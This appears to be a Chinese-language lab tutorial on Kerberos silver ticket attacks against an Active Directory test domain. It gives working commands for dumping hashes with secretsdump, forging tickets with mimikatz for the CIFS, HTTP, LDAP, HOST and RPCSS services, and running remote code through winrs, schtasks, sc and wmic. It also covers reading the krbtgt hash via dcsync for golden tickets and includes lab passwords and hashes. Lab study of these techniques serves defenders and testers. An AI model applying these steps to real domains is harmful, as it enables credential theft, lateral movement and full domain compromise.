票据原理

利用服务用户的Hash值来进行伪造TGS-REP返回的ST票据即白银票据,服务用户对应有机器用户域用户

白银票据利用条件

  1. 域名

  2. 域sid

  3. 目标服务机器名(域名)

  4. 可以利用的服务(LDAP、HTTP、Host、CIFS等)

  5. 目标服务用户的Hash值

  6. 需要伪造的用户

票据利用实验

实验过程中有时候命令正确,但是命令执行不成功,有可能是系统时间不一致。

同步系统时间命令:w32tm /resync(管理权限执行)

机器名

域账号密码

IP

LS-PC(目标机)

[email protected]:Admin@222!

192.168.40.30

WW-PC(目标机)(域内管理员)

[email protected]:Admin333L

192.168.40.40

ZS-PC(域内攻击机)

[email protected]:Admin@111!

192.168.40.20

以下实验中伪造的CIFSHTTPLDAPHOSTRPCSS服务的白银票据都是需要获取目标对应的机器用户的Hash值

获取Hash

secretdump.exe

方法1

如果知道域管理员账号,或者普通域管理员账号可以使用secretsdump.exe来进行获取用户的Hash值,该工具也可用来解密ntds.dit文件。

该工具需要一个管理员权限的域用户,才可以获取到域内相关用户的Hash值。

命令:

.\secretsdump.exe [域名]/[用户名]:[密码]@[域控IP]
.\secretsdump.exe abc.com/ww:[email protected]

方法2

若只知道管理用户的Hash值,则也可以使用该工具进行获取域控上的所有域用户对应的Hash值。这里知道管理员用户ww的hash是2bed6581a5a706a71dbea414c8badeed

命令:

.\secretsdump.exe -hashes [LMHash]:[NTHash] [域名]/[用户]@[域控IP]

LMHash如果为空则默认为:aad3b435b51404eeaad3b435b51404ee,具体执行如下:

制作票据

对CIFS服务进行利用

这里使用mimikatz进行白银票据的制作,命令:

kerberos::golden /domain:[域名] /sid:[SID] /target:[目标机器域名] /service:[服务名] /rc4:[NTLMHash值] /user:[用户名] /ptt

清理票据,然后测试访问,然后伪造票据再进行访问。

这里使用管理员用户ww的票据,测试访问ls-pc.abc.com电脑,ls-pc.abc.com为目标机器域名,这里生成票据并进行导入。

这里/rc4的NTLMHash值用的是对应服务机器用户的NTLM-Hash值,后面带$为机器用户,这里之所以用机器用户的NTLM-Hash是因为:如CIFS、HOST等服务通常运行在机器账户下,因此为这些服务创建白银票据需要使用机器账户的NTLM哈希值或AES密钥。这是因为这些服务是由特定的计算机提供的,而不是由域用户账户直接提供的。

伪造白银票据并导入:

查看票据,并访问对应服务:

上述是使用NTLMhash值来进行伪造的,也可以使用AESkey来进行伪造,而AESkey又分为128和256,则如果如果获取对应的值,把命令中的/rc4改为/aes128/aes256即可

对HTTP服务进行利用

WinRM服务相关命令:

#查看服务运行状态
Get-Service -Name "WinRM"
#运行WinRM服务
Start-Service -Name "WinRM"
#快速配置WinRM服务
winrm quickconfig
#获取WinRM详细配置
winrm get winrm/config

假设已经拿到域内一台主机,并获取了目标机器用户的Hash值,利用该Hash值来进行伪造白银票据。

使用Mimikatz生成票据并进行注入,如下:

然后使用WinRM执行命令:

winrs -r:http://ls-pc.abc.com:5985/wsman "ipconfig /all"

可以看到已经成功在zs-pc这个主机上成功完成了远程命令执行ls-pc这个主机。

对LDAP服务进行利用

假设获取到域DC机器用户的Hash,则伪造DC机器用户的LDAP服务,然后通过LDAP服务执行dcsync来读取krbtgt用户的Hash值,然后利用krbtgt用户的Hash值可以用来制作黄金票据。

已知获取了DC机器用户的Hash值,制作访问Ldap服务的白银票据:

然后使用Dcsync来读取krbtge用户的Hash值

命令:lsadump::dcsync /domain:abc.com /all /csv

对HOST服务进行利用

计划任务

同样已知目标机器ls-pc的机器用户的Hash值,然后伪造HOST服务的白银票据,然后新建定时任务。

域内远程新建定时任务相关命令:

新建定时任务:
schtasks /create /s ls-pc.abc.com /tn "SilverTicketTask" /tr "calc.exe" /sc once /st 16:00 /ru System
立即执行定时任务:
schtasks /run /s ls-pc.abc.com /tn "SilverTicketTask"
删除定时任务:
schtasks /delete /s ls-pc.abc.com /tn "SilverTicketTask" /f
  • 参数说明:

    • /s:指定目标主机(依赖伪造的 HOST 票据认证 )

    • /tn:任务名称(自定义,如 SilverTicketTask

    • /tr:任务执行程序(这里是 calc.exe,可替换为其他恶意程序 )

    • /sc once:触发条件(一次性任务,也可改为 daily 等 )

    • /st:执行时间(需设置为未来时间,格式 HH:mm

    • /ru System:以 SYSTEM 权限运行(HOST 票据默认高权限 )

新建定时任务,并运行定时任务

查看目标机器上运行的任务

服务

注册HOST服务的白银票据可以远程访问计划任务外,还可以远程访问服务,远程新建服务,并执行服务。

域内远程操作服务相关命令:

sc \\ls-pc.abc.com create AMyService1 binPath= "C:\Windows\System32\calc.exe" start= auto
sc \\ls-pc.abc.com start AMyService1

在目标机上查看程序运行:

服务执行文件默认以System用户权限进行执行

对RPCSS(RPC)服务进行利用

对该服务进行伪造Mimikatz命令:

kerberos::golden /domain:[域名] /sid:[SID] /target:[目标机器域名] /service:RPCSS /rc4:[NTLMHash值] /user:[用户名] /ptt

伪造后可执行Wmic相关命令进行命令执行:

wmic  /node:[目标IP地址] process call create "cmd.exe /c ipconfig /all > c:\ip.txt"

在实验过程中注入跟票据我搭建的环境实现不了这个利用方式,看的有的博主同时注入HOST和RPCSS服务的白银票据可以执行该命令,但是尝试后还是不行,可能是搭建的环境有问题,有条件的可以自行尝试。

伪造服务分析

针对伪造白银票据是使用域用户的NTLM-hash值还是使用机器用户的Hash和AESkey有以下解释:

  • HOST服务:通常与机器账户相关联,因此为HOST服务创建白银票据通常需要用到机器账户的NTLM哈希值或AES密钥。

  • CIFS服务:正如前面所述,CIFS服务是通过机器账户来提供认证和授权的,所以也需要机器账户的哈希值或密钥。

  • LDAP服务:如果LDAP服务是以机器账户身份运行,则需要机器账户的哈希值;但若LDAP服务以某个特定的服务账户运行,则需要该服务账户的哈希值。而该服务一般只有域控制器的机器用户才有

  • HTTP服务:这取决于具体的部署情况。如果Web应用程序或服务是用特定的服务账户来运行的,那么应该使用该服务账户的哈希值来生成白银票据。

  • RPC(Remote Procedure Call,远程过程调用)服务:跟上述情况基本一致。

总的来说,是否使用机器用户的NTLM哈希值取决于目标服务是如何配置和运行的。如果是基于机器账户的服务(如CIFS、HOST),则确实会使用机器账户的NTLM哈希值或AES密钥。而对于那些基于特定用户或服务账户的服务(如某些配置下的LDAP或HTTP服务),则需要相应账户的哈希值。

常用的服务已经对应的利用场景:

服务

利用场景

对应账户类型

LDAP

DCSync、AD数据导出

域控制器机器账户

HTTP

WinRM 远程命令执行

服务账户或机器账户

RPC

远程过程调用(RMI)

机器账户

HOST

计划任务或者服务上线

机器账户

CIFS

文件共享、计划任务

机器账户

MSSQLSvc

SQL Server 远程访问与命令执行

服务账户(SQL 服务运行账户)